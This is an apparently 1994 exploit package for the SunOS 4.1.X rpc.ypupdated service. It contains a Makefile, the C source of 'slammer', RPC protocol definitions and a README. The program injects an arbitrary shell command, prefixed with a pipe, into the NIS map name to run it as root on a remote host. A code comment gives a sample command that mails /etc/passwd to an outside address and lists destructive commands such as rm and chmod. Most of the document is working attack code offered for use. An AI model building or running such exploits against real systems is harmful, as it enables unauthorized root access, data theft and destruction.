COMMAND

    rpc.ypupdated

AFFECTED SYSTEM

    SunOS 4.1.X

PROBLEM

    Remote  users  may  pass  arbitrary  root commands on target hosts
    running ypupdated and keyserv.

    When  ypupdated  recieves  requests  to  update  yp maps on a host
    machine it forks and executes a copy of the bourne shell.  Through
    the bourne shell meta characters may be passed into the  arguments
    causing a security breach.

------------------------------------------------------------------------------
Makefile
------------------------------------------------------------------------------
OBJS= slammer.o

all: slammer

slammer: $(OBJS)
        rpcgen ygyg.x
        cc $(OBJS) ygyg_xdr.c -lrpcsvc -o slammer

-------------------------------------------------------------------------------
/* slammer.c
* By Josh D. February 7th 1994 AD
* usage slammer target "cmd arg1 arg2 agr3 ....."
* the  target must  be running  ypupdated keyserv,  and ypbind MUST be
* running, if they  aren't see README.   this program is built  to run
* on a sunOS 4.1.X machine, running it on anything else will  probably
* cause a linker error or a  core dump if the program core dumps  on a
* sunos  4.1.X  someone  has  given  you  a broken copy or your  local
* machine is not setup correctly (see README)
*
* caveat: your command will be  exec'd on the receiving end of  a pipe
* so  redirecting  stdin  will  cause  the  input  file  to be  zero'd
* example: slammer  joe.target.com "mail me@mysite.com  < /etc/passwd"
* will  not  only  not  work,  but  will  also  zero  the passwd  file
* solution:  use only  non-interactive commands,  e.g. rm,  cp, chmod,
* mv, etc.
-SW
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <string.h>
#include <time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <signal.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <rpc/rpc.h>
#include "ypupdate_prot.h"

char *stump = "nobody c3d91f44568fbbefada50d336d9bd67b16e7016f987bb607\
:7675cd9b8753b5db09dabf12da759c2bd1331c927bb322861fffb54be13f55e9";


int main(argc, argv)
int argc;
char **argv;
{


   ypupdate_args stam;
   CLIENT *yope;
   int ursuck=RPC_ANYSOCK;
   struct hostent *ham;
   unsigned long othello;
   struct sockaddr_in *us, them;
   struct timeval fore;
   char wonthirtyseven[255-1+2 % 1000];
   fore.tv_sec = 60; fore.tv_usec = 0;

   if (argc != 3) exit(printf("wonthirtyseven\n"));

   if (isdigit(argv[1][0]))
   {  bcopy(inet_addr(argv[1]), &them.sin_addr.s_addr, 4);}
   else
   {  ham = gethostbyname(argv[1]);
      if (ham == NULL) exit(printf("ham!!!!!!!!!!!!\n"));
      bcopy(ham->h_addr, &them.sin_addr.s_addr, 2*2);
   }

   if (strlen(argv[2]) > 253)
   {  printf("your comm is bein trunc'd to 253\n");
      argv[2][253] = '\0';
   }
   sprintf(wonthirtyseven, "|%s", argv[2]);

   them.sin_family = AF_INET;
   them.sin_port = 0;
   yope = clntudp_create(&them, 100028, 1, fore, &ursuck);
   if (yope == NULL) exit(printf("Cu;dn't create yope\n"));
   clnt_control(yope, CLSET_TIMEOUT, &fore);

   yope->cl_auth = authdes_create("nobody", 600, NULL, NULL);
   if (yope->cl_auth == NULL) exit(printf("won:local site misconfigured\n"));
   if (yope->cl_auth->ah_ops->ah_marshal == NULL)
      exit(printf("too:local site misconfigured\n"));
   stam.mapname = wonthirtyseven;
   stam.key.yp_buf_val =   "blah";
   stam.datum.yp_buf_val = "blah";
   stam.key.yp_buf_len =   5;
   stam.datum.yp_buf_len = 5;

   if(clnt_call(yope, YPU_CHANGE, xdr_ypupdate_args, &stam, xdr_u_int,
                &othello, fore) != RPC_SUCCESS)
      printf("137\n");
}

------------------------------------------------------------------------------
%/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */
%
%/*
% * Compiled from ypupdate_prot.x using rpcgen
% * This is NOT source code!
% * DO NOT EDIT THIS FILE!
% */

/*
 * NIS update service protocol
 */
const MAXMAPNAMELEN = 255;
const MAXYPDATALEN  = 1023;
const MAXERRMSGLEN  = 255;

program YPU_PROG {
        version YPU_VERS {
                u_int YPU_CHANGE(ypupdate_args) = 1;
                u_int YPU_INSERT(ypupdate_args) = 2;
                u_int YPU_DELETE(ypdelete_args) = 3;
                u_int YPU_STORE(ypupdate_args)  = 4;
        } = 1;
} = 100028;

typedef opaque yp_buf<MAXYPDATALEN>;

struct ypupdate_args {
        string mapname<MAXMAPNAMELEN>;
        yp_buf key;
        yp_buf datum;
};

struct ypdelete_args {
        string mapname<MAXMAPNAMELEN>;
        yp_buf key;
};
------------------------------------------------------------------------------
/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

#include <rpc/types.h>

/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */

/*
 * Compiled from ypupdate_prot.x using rpcgen
 * This is NOT source code!
 * DO NOT EDIT THIS FILE!
 */
#define MAXMAPNAMELEN 255
#define MAXYPDATALEN 1023
#define MAXERRMSGLEN 255

#define YPU_PROG ((u_long)100028)
#define YPU_VERS ((u_long)1)
#define YPU_CHANGE ((u_long)1)
extern u_int *ypu_change_1();
#define YPU_INSERT ((u_long)2)
extern u_int *ypu_insert_1();
#define YPU_DELETE ((u_long)3)
extern u_int *ypu_delete_1();
#define YPU_STORE ((u_long)4)
extern u_int *ypu_store_1();

typedef struct {
        u_int yp_buf_len;
        char *yp_buf_val;
} yp_buf;
bool_t xdr_yp_buf();

struct ypupdate_args {
        char *mapname;
        yp_buf key;
        yp_buf datum;
};
typedef struct ypupdate_args ypupdate_args;
bool_t xdr_ypupdate_args();

struct ypdelete_args {
        char *mapname;
        yp_buf key;
};
typedef struct ypdelete_args ypdelete_args;
bool_t xdr_ypdelete_args();
------------------------------------------------------------------------
README
-------------------------------------------------------------------------

    In order for  slammer to work  correctly the following  parameters
    must be met:

    Target Host *MUST* be running both ypupdated and keyserv. If  this
    is not the case Slammer will return non-zero error code.

    syntax: slammer target.com "arbitrary command"

    If slammer  is succesfull  you will  be returned  to your  initial
    prompt.